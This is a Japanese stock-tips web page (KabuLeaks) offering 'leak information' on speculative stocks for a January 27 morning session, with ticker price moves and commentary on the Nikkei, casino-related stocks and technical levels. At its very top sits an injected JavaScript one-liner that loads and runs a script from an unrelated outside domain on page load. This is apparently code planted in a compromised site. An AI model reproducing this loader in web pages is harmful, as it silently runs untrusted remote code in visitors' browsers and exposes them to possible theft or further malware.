;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/27 前引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【1/27 前引け】

【9684】スクウェア・エニックス 2,610円 +11 (+0.42%)

【3785】エイティング 1,447円 -58 (-3.85%)

【3681】ブイキューブ 1,536円 -97 (-5.93%)

【3877】中越パルプ工業 228円 +50 (+28.08%)

前場の日経平均株価は250円高の大幅反発。ギリシャ総選挙を受けた26日の欧米市場は軒並み上昇、為替も円安方向に振れていることも好感されている。寄り付き後も強含む展開となり主力銘柄中心に買いが集まる一方、新興市場は膠着感の強い相場展開。業種別では鉱業を除く32業種が上昇しており、特に精密機器や鉄鋼、保険などの上昇が目立っている。

個別では、ナノセルロースを高分散したポリオレフィン樹脂の開発に成功した【3877】中越パルプ工業がストップ高。一時ストップ高となった【8894】原弘産はデット・エクイティ・スワップによる第三者割当増資を発表。旧村上ファンドや大物個人投資家のBNF氏などが大株主にいることなども材料視されている。その他、IR議連が今国会にカジノ法案再提出の方針と伝わったことから【3625】テックファームなどカジノ関連の一角が堅調。

テクニカル的には急ピッチの上昇による相場の過熱感が出始めているが、日経平均は25日移動平均線を上回って買方優位の展開。出来高や売買代金の増加を伴った上昇になれば一気に1万8000円を目指す動きとなってもおかしくはない。